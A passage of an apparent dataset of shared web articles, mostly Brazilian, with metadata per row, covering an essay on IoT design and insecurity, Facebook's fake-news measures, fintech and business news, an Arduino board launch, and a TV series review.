digitais completos . mas é preciso dizer que as coisas , no verdadeiro sentido da internet das coisas , são na verdade outras coisas -objetos físicos, sem qualquer das características acima, que são envelopados por uma camada digital que tem as características da imagem. e isso vai de uma lâmpada e uma fechadura até uma turbina e um veículo inteiro. daqui pra frente, neste texto, coisas são a combinação de objetos físicos quaisquer com sua camada digital, normalmente inseparáveis. lá na frente, pode ser que tal inseparabilidade seja uma propriedade dos objetos digitais nativos , mas isso fica pra outras história. há um conjunto de características desejáveis para uma co isa em rede , que este autor descreveu há anos . uma combinação dos conceitos de everyware , de adam greenfield , e , de bruce sterling ; tais características são mais uma vez revistas, aqui, e são: 1 . cada e toda está [obviamente, mas não necessariamente de forma permanente] na rede; a forma de uma se conectar à rede é [quase sempre] wireless; a vasta maioria das é múltipla [pode haver uma infinidade de cópias] mas cada é identificável de forma única [ou seja, pode ser endereçada] e obedece ao princípio SFO [search, find, obtain; dá pra procurar, encontrar e obter uma dela, se existir]; mas as características de computação, comunicação e controle de tais são [quase sempre] imperceptíveis [a ""olho nu""] porque as estão embarcadas, embutidas, associadas ou, de resto, fazem parte de objetos físicos e, também por causa disso, as coisas têm interface [quase sempre] ""invisível"". ainda mais, carregam seu próprio plano de construção , e reciclagem e, por fim uma guarda ou deposita na rede seu rastro histórico. 1 - , acima, não são uma definição de como as são, agora, mas de como elas deveriam ser -ou serão- quando derem certo. ""dar certo"", aqui, quer dizer ter uma penetração -ali no futuro- como celulares e smartphones têm, hoje, aqui. isso vai levar alguma coisa entre 5 a 15 anos. o que quer dizer que a lista de 10 ""desejos"", acima, é uma grande oportunidade para criar, inovar e empreender. e isso não vai se dar, necessariamente, no mercado de pessoas e casas, primeiro. é muito mais provável que comece -em escala, porque começar já começou...- pelas empresas e, em particular, pelas grandes empresas. a imagem abaixo é o chute da forrester para o potencial de IoT na indústria e empresas: o quadro ainda é muito disperso, mas já dá pra ver que produção industrial -fábricas- e logística são duas áreas muito quentes agora e no futuro próximo. é quase certo, também, que não haverá um BYOT [ bring your own thing ...] nos ambientes corporativos, de uma hora pra outra. você não vai levar sua câmera IP, ou sensores de temperatura e humidade, para o prédio em que trabalha. nem os caminhões de entrega do seu trabalho serão informatizados -em parte- por coisas que os próprios trabalhadores vão inserir no processo. isso pode até funcionar na partida, de forma ingênua, mas não vão passar pelo crivo dos dez princípios sistêmicos que mostramos a seguir, que tendem a definir o que as coisas -quer no trabalho, nas lojas e ruas, em casa ou em você- vão ser. as coisas não existem soltas, por aí. e não são, ou não deveriam ser, simplesmente, sensores e atuadores em rede. isso seria diminuir muito o que se espera de , the internet of things , e reduzir seu potencial ao da velha e boa telemetria. para que todo seu potencial possa ser capturado, as coisas têm que fazer parte de um sistema , de uma ou de um conjunto articulado de plataformas . mas uma das tendências, para tudo que se faz em informática, desde sempre, é olhar e pensar primeiro do ponto de vista físico. e deixar as consequências para depois. mas o que acontece quando vemos coisas como parte [possivelmente virtual] de um ? essa é a verdadeira tendência que está começando a emergir agora, na gênese da internet das coisas . sem medo de errar, pode-se dizer que as coisas-como-tal , descritas acima, passarão muito em breve a ser vistas como coisas-num-sistema , o que vai possibilitar arranjos e soluções muito mais interessantes, sofisticados e sustentáveis. pra isso, teríamos que olhar para as propriedades de cada coisa, vistas como parte de um e cada uma delas, não por acaso, como um sistema de informação e suas propriedades. e tudo isso em rede, claro. aí... tem [ou deveria ter] 1 . um conjunto de funcionalidades bem definidas; a tais funcionalidades se atribui certas características de disponibilidade e; estas características quase sempre estarão associadas tanto ao substrato físico de uma coisa quanto ao seu invólucro digital... e normalmente só farão sentido em tal combinação; ainda por cima, 1 ++ devem ser fornecidas de forma aqui a gente faz uma pausa nesta lista de propriedades para dizer que segura é tudo o que a internet das coisas não é . e que a tentativa de levar ao mercado serviços -baseados em coisas- que não passam pelos mínimos testes de segurança vai levar a muitos problemas, gerar desconfiança e embates legais que deverão prejudicar, severamente, muitos fornecedores. porque os clientes e usuários já estão vivendo parte do caos e tendo prejuízos. um experimento feito por um especialista, há pouco, mostra o estado de [in]segurança da internet das coisas: uma câmera IP foi infectada 98 segundos depois de ""entrar no ar"" [na rede] e, cinco minutos depois, estava programada para ser um agente de um botnet da classe mirai . um destes botnets, em outubro passado, derrubou o provedor DYN DNS , no maior ataque DDoS de [por enquanto] todos os tempos, com cerca de 1.1 terabit por segundo de tráfego. imagine seu negócio saindo do ar durante horas por causa de um grupo de adolescentes que assumiu o controle de uma miríade de máquinas de lavar e secar, TVs, fechaduras e roteadores, sem falar em lâmpadas e câmeras. pra você e as dezenas de milhões de usuários afetados, não terá a menor graça e pode, sim, haver prejuízo e riscos reais como efeito colateral. com vidas em jogo, inclusive. pode não ter graça, mesmo. tudo porque as coisas dominadas pelos garotos eram inseguras. muito inseguras. se dermos conta disso, então teremos que ter usabilidade , combinada com resiliência. usabilidade é um conceito intuitivo; no fundo, diz que o uso de uma coisa não deve demandar capacidades intelectuais e conhecimento incomuns do seu público alvo, que poderá, de forma simples e satisfatória, usar algum objeto de forma eficaz e eficiente. e isso tem que se aplicar ao ciclo de vida do objeto, concreto ou virtual. pense na usabilidade dos seus objetos e dê uma nota de zero a dez, pra ver como ainda não temos a usabilidade que deveríamos ter [nos smartphones, por exemplo]. resiliência é a habilidade de, mesmo diante de certos tipos de falhas, manter uma parte da funcionalidade a serviço do usuário. combinar usabilidade e resiliência -ao mesmo tempo- não é trivial. e quase nada no mercado consegue chegar nem perto disso. e não vai ser fácil na internet das coisas. a sétima propriedade das nossas coisas em rede deveria ser manutenibilidade e : coisas dispersas por aí precisam -ou precisarão- ser mantidas e evoluir, como parte e no contexto de um sistema. olhe para o que aconteceu nos smartphones e imagine o tamanho do problema que teremos com coisas. embarcadas, embutidas, associadas ou, de resto, fazendo parte de objetos físicos. por causa disso, as coisas terão bugs como qualquer outro objeto digital . muitos destes bugs terão consequências lá atrás, no nosso item 4 , causando problemas de segurança. e você certamente vai querer que o seu fornecedor conserte o backdoor da fechadura da sua casa. e a empresa que fornece sua água encanada vai querer que se corrijam as falhas de segurança em válvulas, bombas e sistemas que custaram cem, mil vezes mais do que sua fechadura mas que foram, do ponto de vista de engenharia de software, projetados e construídos com o mesmo cuidado . ou falta dele. isso quer dizer que as coisas que darão certo, do ponto de vista prático e tanto nos ambientes industriais e de negócios como nas casas e para as pessoas, têm que ser pensadas e construídas primordialmente dos pontos de vista de , manutenção e . falta muito pra gente chegar lá. e ainda temos mais três pontos, quando se olha para coisas como sistema, para dar conta. primeiro, escalabilidade : de um lado, das coisas em si , da possibilidade de haver muitos objetos digitais do mesmo tipo, em muitos lugares, sem qualquer tipo de conflito; por outro lado, quando se trata coisas-como-sistema , da necessidade da plataforma [vamos falar disso em um próximo texto] que sustenta as coisas dar conta do eventual sucesso -ou seja, de haver muitos, muitos deles na rede- de uma certa classe de objetos digitais. o pior que pode acontecer, pra quem vai ter coisas de todos os tipos ao seu redor, é elas terem problemas de performance ou indisponibilidade porque a parte de sua funcionalidade [por exemplo] que depende de sua plataforma não está disponível. se tudo der certo, o número de coisas na rede vai crescer muito, como mostra a previsão da IHS , abaixo. nada menos do que cinco vezes em uma década. e como o nome internet das coisas já diz, isso é em rede. e escala é o que vai contar. mesmo que seu negócio, hoje, só seja a plataforma [mesmo sem você saber] para dezenas ou centenas de coisas em rede, ele só vai sobreviver se você ganhar escala. imaginando que tudo, na rede das coisas, vai crescer por fatores de 5, 10, 15, 100... 1000, nos próximos dez anos, essa é a sua chance de ganhar escala, se você tiver uma plataforma para tal. depois a gente fala de impacto da internet das coisas nos modelos de negócios, porque este vai ser um novo capítulo da história dos mercados, de impacto talvez tão grande quanto o da própria internet. agora, só pra gente tentar entender o que vai acontecer no mercado de coisas , é olhar a imagem abaixo, da zinnov. .. ...que mostra uma duplicação do investimento em IoT em cinco anos, e quase tudo em hardware, por sinal, o que é natural na construção de uma infraestrutura de informação [como é o caso de uma que, ainda por cima, tem uma alta densidade de sensores e atuadores na periferia]. aqui vale um lembrete pra nós, brasileiros [especialmente os que vão tentar empreender em IoT]: por um número de razões de nossa própria construção e [in]competência históricas, o brasil é inviável como produtor e fornecedor -de classe mundial- de qualquer classe de hardware. não entre nessa. mesmo que o governo [qualquer que seja...] apareça com um discurso sobre a importância de hardware na internet das coisas, e diga que tem uma política pra isso... saiba que o brasil não fez [e não está fazendo, e não deverá fazer... infelizmente] o dever de casa para ser competitivo no setor, seja em computadores, smartphones ou... coisas. chips, nem pensar. e boa parte das razões descritas em um texto que eu escrevi para ""comemorar"" os 40 anos da reserva de mercado, em 2012, continua valendo. tá aqui neste link, vá ler . depois não diga que eu não avisei. nosso penúltimo ponto para que as coisas funcionem como sistema é uma combinação, a fusão dos fatores que, em cada [nicho de] mercado, fará as coisas entrarem lá e, em última análise, darem certo, fazerem sentido naquele cenário em particular : investimento estrutural, custo/benefício, time to market, roll out, tempo [esperado] de vida, tempo [esperado] de evolução para um patamar de custo/performance/benefício muito mais atrativo... por fim, mas não menos importante ou relevante, as que serão inseridas em contextos de negócios não aterrissam em um vazio informacional, um campo plano para se construir tudo do zero; de padarias a fábricas de automóveis e aviões [e às coisas que estes fabricam] já há sistemas de informação nos lugares, tanto hardware como software e, em muitos casos, há vastas operações de ""telemetria"" que se confundem, na cabeça de quem as tem, com uma certa -talvez mais simples e rudimentar- internet das coisas. em tais cenários e contextos, a integração com objetos, produtos, serviços e sistemas legados será absolutamente fundamental para garantir o sucesso de iniciativas relacionadas à internet das coisas. taí. dez pontos sobre como as coisas-em-si terão que ser e, mais detalhadamente, dez pontos como as coisas-como-sistema provavelmente serão, para ""dar certo"". se você achou que ficou longo e complexo... é porque o problema é não só de muito grande dimensão e complexidade, ele também é complicado e será caótico em muitas organizações e ambientes de negócio. e eu nem contei 10% do que acho que pode vir a acontecer neste cenário das coisas, no futuro, porque o tempo é curto e, quem sabe, a paciência, do leitor, também. no próximo texto sobre os sinais do futuro , vamos falar sobre plataformas e mercados em rede , que serão essenciais para que a própria internet das coisas aconteça. até lá.",pt
1481894049,CONTENT SHARED,4817624205684040310,-8845298781299428018,2019189024602932733,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/12/15/facebook-now-flags-and-down-ranks-fake-news-with-help-from-outside-fact-checkers/,Facebook now flags and down-ranks fake news with help from outside fact checkers,"Snopes, FactCheck.org, Politifact, and ABC News will help Facebook make good on four of the six promises Mark Zuckerberg made about fighting fake news without it becoming ""the arbiter of truth"". It will make fake news posts less visible, append warnings from fact checkers to fake news in the feed, make reporting hoaxes easier, and disrupt the financial incentives of fake news spammers. ""We're not looking to get into the grey area of opinion"" Facebook's VP of News Feed Adam Mosseri tells me. ""What we are focusing on with this work is specifically the worst of the work - clear hoaxes that were shared intentionally, usually by spammers, for financial gain."" Facebook will now refer the most egregious and viral fake news articles flagged by users and algorithms to fact checking services that adhere to Poynter's International Fact Checking Code of Principles . These include non-partisanship and fairness; transparency of sources, methodology, and funding; and a commitment to corrections. Facebook is starting with the four above but hopes to grow that list to dozens to quickly get a consensus on a story's accuracy. If they confirm a story is fake, they notify Facebook through a special reporting website it exclusively built for them, and can include a link to a post debunking the article. Facebook will then show posts of those links lower in the News Feed. It will also attach a warning label noting ""Disputed by [one or more of the fact checkers]"" with a link to the debunking post on News Feed stories and in the status composer if users are about to share a dubious link, plus prohibit disputed stories from being turned into ads. Mosseri confirms that these fact checking services won't receive any payment from Facebook, but may get a traffic and branding boost from the debunk post links. Facebook will only send the most popular potentially fake news stories to avoid inundating the third-parties. Beyond warnings, Facebook is making it easier for users to report fake news with the top right corner drop-down menu on News Feed. It will analyze whether people are significantly less likely to share an article after reading it, and use that a signal that a post is low value and should be shown less prominently in the News Feed. Spammy Facebook Pages that try to masquerade as legitimate publishers (think TechCrunch.co instead of the real TechCrunch.com) will have their stories shown less. And Facebook will continue to detect people commenting ""fake"" or ""hoax"" on links to power down-ranking and referrals to fact checkers. Finally, Facebook is trying to hit purposeful fake news spreaders in the wallet. It will no longer allow domain spoofing in ads that previously spammers say an ad led to a legit publisher instead of their own site. Facebook will also scan landing pages of suspected fakers, and if they're primarily just ad-covered spam sites, and potentially levy enforcement actions against them. Mosseri admits that ""We have multiple beliefs that are not at odds but do have some tension"" in reference to the balance between avoiding censorship of free speech and the need to thwart misinformation. ""We believe in giving people a voice...but we also believe we have a responsibility to reduce the spread of fake news on Facebook."" The two areas for improvement Zuckerberg cited that Facebook is still working on are better classifiers to automatically detect fake news, and preventing fake news from appearing as ""Related Articles"" that appear below links. Two areas we're iterating on )stronger detection) though hI do think som e of water doing weill help with detection . No specific classier work and no specific related article work . Some of these change are going to stay inert in the US. the reporting flow, the third-arty but we'll be looking to expand this intenraaionlll y as soon sas we can .",en
1481895964,CONTENT SHARED,-72844094766108869,-2820994773540913369,3752399753195791989,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,http://fusoesaquisicoes.blogspot.com.br/2016/12/reestruturada-dasa-vai-abrir-50-pontos.html,"Reestruturada, Dasa vai abrir 50 pontos e negocia aquisições","Há exatamente dois anos, Pedro Bueno foi anunciado presidente da Dasa, a maior companhia de medicina diagnóstica do país, cercado de muita desconfiança. Não à toa. Pedro assumiu o posto com apenas 24 anos; é filho do dono, o empresário Edson Bueno que, por sua vez, teve uma série de conflitos com os acionistas para assumir o controle da Dasa; a rentabilidade estava em declínio e a credibilidade do laboratório Delboni Auriemo junto à comunidade médica era ruim. Diante desse cenário, a estratégia nesses dois últimos anos foi arrumar a casa. Os índices de reclamação de pacientes e rejeição dos médicos caíram e o lucro aumentou mais de quatro vezes para R$ 85,8 milhões entre janeiro e setembro deste ano. A margem operacional aumentou 6,4 pontos percentuais, mas ainda está abaixo de concorrentes como Fleury, Alliar e Hermes Pardini. Com a reestruturação concluída, o projeto de expansão da Dasa para 2017 prevê a abertura de 50 unidades em São Paulo, Rio de Janeiro, Centro-Oeste e Sul, principalmente, das bandeiras Delboni Auriemo e Alta Excelência Diagnóstica, essa última voltada ao público de alta renda. Hoje, a Dasa tem 590 unidades distribuídas em mais de 10 Estados. O plano de expansão também prevê aquisições de médio porte. Em 2016, a Dasa comprou três ativos e outras negociações estão em curso. O orçamento de 2017 da Dasa não foi revelado, mas Pedro sinalizou que será superior aos R$ 300 milhões investidos neste ano. Esse valor não inclui possíveis aquisições. Uma parte dos recursos será destinada a campanhas de marketing, cuja verba será 50% maior, e novas tecnologias para melhorar o atendimento aos pacientes - uma das prioridades do executivo. ""No setor de medicina diagnóstica, há pouca inovação tecnológica. Trouxemos para nossa equipe uma pessoa do Itaú, que passou por um salto tecnológico. Criamos células de inovação em várias áreas da companhia, que têm a vantagem de não ficarem amarradas às metas e ao orçamento da companhia"", conta Pedro, ao confessar que é pouco ligado em tecnologia e que sempre é o último a baixar os aplicativos entre os seus amigos. Ao ser questionado sobre sua idade e sobrenome, Pedro conta que a indicação para a presidência veio de um dos conselheiros independentes da Dasa e que, inicialmente, seu pai foi contra porque temia que, caso a empreitada desse errado, Pedro teria sua imagem profissional arranhada logo no início da carreira e poderia ficar desmotivado para outros desafios. Pedro topou com a condição de ter carta branca do pai para tocar o negócio, sem sua interferência. ""Ele é apenas acionista, não está nem no conselho da Dasa. Participa de reuniões a cada 45 dias."" Em relação à idade, o jovem logo responde: ""Várias coisas eu não sei, é preciso ter humildade. O que faz a diferença é ter uma equipe formada por pessoas boas, competentes. Nossa gestão é baseada em indicadores e meritocria"", ressalta o jovem, formado em economia pela PUC-Rio. Antes de assumir a Dasa, passou pelo BTG e pelo family office da família Bueno. Sob seu comando, a diretoria foi totalmente reformulada e hoje conta com executivos vindos do mercado financeiro e de empresas como a Heinz, do fundo 3G. O braço direito de Pedro é o médico radiologista Romeu Côrtes Domingues, presidente do conselho da Dasa, que tem o dobro de sua idade. ""Eu puxo para cima e o Pedro puxa para baixo a idade média na Dasa"", costuma dizer Domingues, que liderou o processo para melhorar a imagem da rede Delboni junto à comunidade médica. Esse processo envolveu desde a compra de novas máquinas de ressonância magnética até incentivos para os médicos publicarem artigos em revistas científicas e participarem de congressos médicos internacionais. Desde 2015 foram investidos R$ 550 milhões na aquisição de novos equipamentos médicos, reforma de unidades, programas de relacionamento com médicos, plataforma tecnológica para melhorar o atendimento ao paciente, entre outras ações. - Valor Econômico Leia mais em portal.newsnet 15/12/2016",pt
1481977281,CONTENT SHARED,6009447229221815725,3217014177234377440,7077422598697116840,"Mozilla/5.0 (X11; CrOS x86_64 8743.85.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.101 Safari/537.36",SP,BR,HTML,http://www.labnol.org/software/create-youtube-screencast/27936/,[Tools] How to Record your Desktop Screen with YouTube,"This step-by-step guide explains how you can record a screencast video of your desktop screen with the help of YouTube. No need to install any software. Screencasting is simple. You download a software program, hit the record button and a video of your computer screen is created, ready for uploading to YouTube. There are a plethora of screencasting tools to choose from but did you know that you can also create screencast videos inside YouTube without requiring any desktop software? All you need is a YouTube account and a web browser. Here's a step by step guide on how you can make screencasts of your desktop windows with YouTube. How to Create a Screencast with YouTube Step 1: Sign-in to YouTube with your Google Account, click the Upload button in the upper left corner and choose Events under Live Streaming. If you never done this before, YouTube make require you to verify your phone number to enable streaming. Step 2: You are on the Create Event page. Give your screencast video a title, set the privacy of the video to either Unlisted or Private and click the ""Go Live Now"" button. Step 3: This will open the Hangouts on Air page. You can click the camera icon to turn off webcam recording. Similarly you can toggle the microphone icon if you do not wish to record audio. Step 4: Now click the Screenshare button in the left toolbox and select a desktop window that you wish to record for your screencast. Remember that if you using multiple virtual desktops, it will only show program windows that are active on the current desktop. Step 5: Click the Start Screenshare button to share your screen and then click Start Broadcast to start recording the screen. This is a private session so nobody can watch your broadcast while it is being recorded. When you are done with the recording, click the Stop Broadcast button and switch to the YouTube website. That's it. Go your YouTube video dashboard ( youtube.com/my_videos ) and you'll see the new screencast video that you've just finished recording. You can download the video to your Google Drive or share it withe world. The videos are recorded in 720p HD and this it would be a good idea to resize your desktop window to the 16:9 ratio before hitting the broadcast button.",en
1482089689,CONTENT SHARED,2379460324923679020,3217014177234377440,-6054440716810580080,"Mozilla/5.0 (X11; CrOS x86_64 8872.70.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://ecommercenews.com.br/noticias/banco-agiplan-lanca-app-que-elimina-intermediarios-ou-pagamento-de-taxas,[Canais Digitais] Banco Agiplan lança app que elimina intermediários ou pagamento de taxas - E-Commerce News,"Com o objetivo de baratear e desburocratizar o sistema de meios de pagamento, o Banco Agiplan S.A, em parceria com a Stefanini Tecnologia, anunciou o lançamento do Agipag , plataforma digital que transaciona pagamentos sem a necessidade de intermediários ou pagamento de taxas pelos estabelecimentos comerciais e pelas pessoas físicas. A partir do smartphone, consumidores já podem realizar pagamentos em tempo real, com apenas um toque na tela do aparelho, funcionando P2P e B2C ou B2B. O serviço já está operando no Brasil e, em apenas uma semana, abriu mais de 50 mil contas. Segundo o presidente do Banco Agiplan, Marciano Testa, a indústria de meios de pagamentos por cartão de crédito cobra mais de R$ 30 bilhões ao ano do varejo e dos usuários. ""Criamos uma solução que permite aos varejistas receberem suas vendas com total segurança por meio do celular, sem taxas e aluguel de máquinas. Com o Agipag, eles podem receber suas vendas pelo celular, através de dinheiro digital, de forma bem mais segura e prática"", explica o executivo. ""Estamos posicionando o banco em um novo nicho, o mercado digital. Buscamos oferecer que há de mais moderno e disruptivo em termos de tecnologia, segurança e usabilidade, não importando se os usuários são clientes ou não do Banco Agiplan"", considera Marciano Testa. Segundo o executivo, além da redução de custos referentes a taxas e manutenção do maquinário, outro diferencial do Agipag está no fato de ter transações automáticas. ""O sistema realiza operações em real time, logo, o comerciante não precisará fazer qualquer operação de antecipação de recebíveis, o que gerará ainda mais economia com o pagamento de taxas bancárias, além do acompanhamento do histórico de transações"", completa. O aplicativo Agipag também tem diferenciais importantes para o usuário Pessoa Física. Além de ser totalmente gratuito, o aplicativo permite transferências e pagamentos entre quaisquer pessoas físicas ou jurídicas, fornecendo acesso a uma linha de crédito pré-aprovado que dá um prazo de até cinco dias corridos sem cobrar juros no caso de utilização do limite. ""A nossa proposta é oferecer ao mercado brasileiro uma nova maneira de descomplicar o acesso aos serviços financeiros, mantendo todos os aspectos relacionados à segurança e à solidez das instituições tradicionais"", destaca Testa. Para ter acesso aos serviços do Agipag, basta o usuário baixar o app, disponível nas lojas Apple Store e Google Play, cadastrar o CPF e fornecer alguns dados pessoais. O mesmo funcionamento serve para Pessoa Jurídica, neste caso usando o CNPJ. Para fazer uma carga de crédito é simples: por meio de TED, DOC, Boleto ou transferência através do próprio Agipag. Para enviar ou receber dinheiro, o usuário deve apenas fornecer o número de seu celular. Os profissionais liberais podem receber o pagamento de honorários vindos dos próprios usuários do Agipag ou de quaisquer outros bancos. ""Será uma solução ideal para pequenas e médias empresas fazerem suas folhas de pagamentos sem custos e taxas, pois poderão pagar seus funcionários diretamente no Agipag, apenas indicando o número do celular do funcionário que receberá o valor integral diretamente no aplicativo, onde ele poderá usar para pagar suas contas e boletos, ainda assim, se necessitar, poderá sacar em espécie em qualquer das mais de 20 mil lotéricas em todo o Brasil"", afirma o presidente do Banco Agiplan.",pt
1482146332,CONTENT SHARED,5701873751630396950,3609194402293569455,-6009691641896937021,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://imasters.com.br/noticia/apresentacao-da-nova-placa-de-desenvolvimento-arduino-mkrzero/,Apresentação da nova placa de desenvolvimento Arduino MKRZero -,"Ontem (13/12), a fundação Arduino apresentou oficialmente a mais recente adição à sua gama de placas de desenvolvimento Arduino, a MKRZero . A novidade está disponível para compra em todo o mundo por US$ 21,90 ou €20,90 mais impostos. O Mkrzero é uma versão reduzida do Arduino Zero em um form factor do Arduino MKR1000. Dessa forma, oferece uma ótima ferramenta para aprender mais sobre o desenvolvimento de aplicações 32-bit. Os recursos e benefícios do MKRZero incluem: É menor; Consegue fazer cálculos mais complexos; Baixo consumo de energia; Gestão integrada da bateria; Host USB; Gestão integrada do SD; SPI programável, I2C e UART; Como o Arduino Zero, a placa mais recente é baseada em um Microchip SAM D21 ARM Cortex®-M0 + MCU. Um conector SD integrado com interfaces SPI dedicadas (SPI1) permite que você brinque com arquivos sem qualquer hardware extra, enquanto um conversor analógico permite que você monitore a tensão da bateria. Para mais informações e especificações completas para o MKRZero, você pode acessar o site oficial Arduino . Mais Lidas da Última Semana",pt
1482157149,CONTENT SHARED,7065704533945771463,1895326251577378793,-5664675415604649356,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,http://idgnow.com.br/internet/2016/12/19/nova-regra-do-banco-central-pode-significar-o-fim-do-nubank-entenda/,Nova regra do Banco Central pode significar o fim do Nubank; entenda - IDG Now!,"Uma das principais fintechs do Brasil, a Nubank pode fechar as portas caso o Banco Central confirme nesta terça-feira, 20/12, uma nova regra que mudaria de forma drástica o prazo de pagamento das empresas de cartão de crédito para os comerciantes no país. A medida afetaria todas as companhias do segmento, mas seria pior justamente para as menores, que não possuem o mesmo capital para financiamento como bancos gigantes. Em entrevista para a Agência Estado, a cofundadora do Nubank, Cristina Junqueira, criticou duramente a ideia do governo federal de reduzir de 30 dias para 2 dias o prazo para esse pagamento. Atualmente, os lojistas brasileiros levam 30 dias para receber das emissoras de cartão de crédito, prazo bem maior do que nos EUA, onde esse período é de apenas dois dias. ""Atualmente, um cliente que usa o cartão pagará a fatura, em média, 26 dias depois. Assim, o Nubank, como emissor, receberá o dinheiro apenas após este prazo. Com o dinheiro, pagamos o adquirente (operador do cartão), que leva mais dois ou três dias para pagar o varejista. Isso dá o prazo de 30 dias"", afirma Cristina, que descreve a possível mudança como ""apocalíptica"" para a fintech que já emitiu mais de 1 milhão de cartões no Brasil desde 2014. Caso a mudança do prazo, cuja intenção de redução foi oficializada recentemente pelo presidente Michel Temer, seja realmente colocada em prática, o Nubank teria de pagar a operadora do cartão antes mesmo de o cliente pagar a fatura. Segundo Cristina, já foram feitas algumas simulações internas e nem mesmo um prazo de 15 dias seria suficiente para a continuidade do Nubank, que se destaca no mercado por não cobrar taxas e permitir o gerenciamento do uso do cartão por meio de um app para smartphones. ""Nós já fizemos algumas simulações. Com dois dias é apagar a luz e fechar a porta. Com 15 dias, a gente precisaria de quase R$ 1 bilhão de capital adicional do dia para a noite"", decreta.",pt
1482172662,CONTENT SHARED,-1663441888197894674,-1130272294246983140,190295672099949632,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",SP,BR,HTML,http://exame.abril.com.br/pme/nubank-pode-fechar-portas-se-bc-confirmar-mudanca/,Nubank pode fechar as portas se BC confirmar mudança amanhã,"Brasília - Um dos emissores de cartão de crédito que mais crescem no País, o ameaça fechar as portas se o Banco Central confirmar, nesta terça-feira, 20, uma mudança drástica no prazo de pagamento das vendas aos lojistas. A cofundadora da empresa, Cristina Junqueira, afirma que reduzir de 30 para 2 dias o prazo, como vem sendo ventilado em Brasília, vai representar o fim do negócio. A intenção de mudar o prazo foi oficializada na quinta-feira pelo presidente Michel Temer e pelo Ministro da Fazenda, Henrique Meirelles, durante lançamento do pacote para impulsionar a economia. Atualmente, quando um consumidor paga algo com cartão, o lojista leva 30 dias para receber - prazo maior que o visto em outros países, como os EUA, onde a demora é de dois dias. Para o governo, o encurtamento do processo vai favorecer o varejista e contribuir para a retomada da atividade. O problema, segundo Cristina, é que a mudança trará um custo adicional para todos os emissores de cartões de crédito, do Nubank aos bancos maiores, que dominam o mercado. A diferença é que o Nubank e os emissores menores não têm a mesma capacidade de financiamento de gigantes como Itaú Unibanco, Bradesco e Santander. ""Atualmente, um cliente que usa o cartão pagará a fatura, em média, 26 dias depois. Assim, o Nubank, como emissor, receberá o dinheiro apenas após este prazo"", explica Cristina. ""Com o dinheiro, pagamos o adquirente (operador do cartão), que leva mais dois ou três dias para pagar o varejista. Isso dá o prazo de 30 dias"", descreve. A receita do Nubank, que já emitiu mais de 1 milhão de cartões desde 2014, vem de um porcentual descontado do valor repassado ao lojista, de aproximadamente 5%. Cerca de 1,5% fica para o Nubank e o restante para a adquirente (como Cielo, Rede e GetNet) e para a bandeira (como Mastercard e Visa). Se o prazo for encurtado para dois dias, alega Cristina, o Nubank terá de pagar o adquirente antes mesmo de receber o pagamento da fatura pelo cliente. Para isso, será preciso pegar recursos no mercado. ""Mudar dramaticamente, reduzir o prazo para dois dias, isso seria apocalíptico para a gente"", diz Cristina. Segundo ela, mesmo que o prazo fosse reduzido para 15 dias, e não dois, o Nubank não teria como sobreviver. ""Nós já fizemos algumas simulações. Com dois dias é apagar a luz e fechar a porta. Com 15 dias, a gente precisaria de quase R$ 1 bilhão de capital adicional do dia para a noite."" Cristina afirma não ver espaço para conseguir, no mercado brasileiro, uma capitalização deste valor no curto prazo. ""E, mesmo que os outros bancos emprestassem o dinheiro, eu não tenho margem para pagar o custo mensal da dívida"", diz. ""Hoje, meu custo de capital é bem mais alto que 1,5%."" Na terça-feira, o presidente do Banco Central, Ilan Goldfajn, deverá anunciar medidas ligadas ao crédito e a outras áreas de atuação da instituição. Questionado neste domingo, 18, pelo Broadcast , sistema de notícias em tempo real do Grupo Estado, a respeito das mudanças na área de cartões, o BC não se pronunciou. No mercado financeiro, analistas acreditam que a redução do prazo de pagamento de lojistas pode ser fatal não apenas para alguns emissores, mas também para adquirentes menores. Há ainda preocupação com a operação de cartões de alguns varejistas que não possuem parceria com grandes bancos, como a Renner. Questionada, a empresa não se pronunciou. O Estado apurou que a questão do prazo para pagamento aos varejistas está sendo estudada e que o governo pode optar por mudanças nos juros do rotativo do cartão de crédito, e não necessariamente no prazo para pagar o varejista. As informações são do jornal O Estado de S. Paulo.",pt
1482179600,CONTENT SHARED,8833747781388133494,-7496361692498935601,8362589477102529264,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://matias.blogosfera.uol.com.br/2016/12/19/sem-fazer-alarde-a-serie-the-oa-torna-se-um-novo-vicio-relampago/,"Sem fazer alarde, a série","Que final de ano! Ainda digerindo o final de Westworld , sob o impacto de Rogue One , e vem o Netflix e solta os oito primeiro episódios de The OA, uma inusitada série sobre uma mulher que ressurge depois de sete anos desaparecida. Misturando elementos de fantasia, ficção científica e terror, The OA é protagonizada por sua autora, a atriz e escritora Brit Marling, que divide a concepção da série com seu colega Zal Batmanglij, francês de pais iranianos que cresceu nos EUA. Juntos, Marling e Batmanglij já fizeram o scifi A Seita Misteriosa (2011) e o thriller O Sistema (2013) e os dois filmes dão uma ideia da amplitude de gêneros abordados pela dupla. The OA segue a mesma linha, misturando espiritualidade, fantasia, sentimentalismo e o jogo entre relações com ficção científica pesada, terror psicológico, crimes, política e guerra de nervos, mas dá cavalos de pau na narrativa a cada episódio, jogando o espectador para recantos inusitados quando a série parece encontrar um prumo específico. São estas reviravoltas na história - que quase sempre acontecem no final de cada episódio, sempre apresentadas de forma espetacular, que tornam o seriado um vício de televisão daqueles que nos faz assistir episódios enfileirados um no outro. Facilita também o fato da primeira temporada ter apenas oito episódios (lição tirada de Stranger Things, que estranhamente paira sobre The OA), cuja duração varia entre trinta minutos e uma hora inteira. Vou dar um 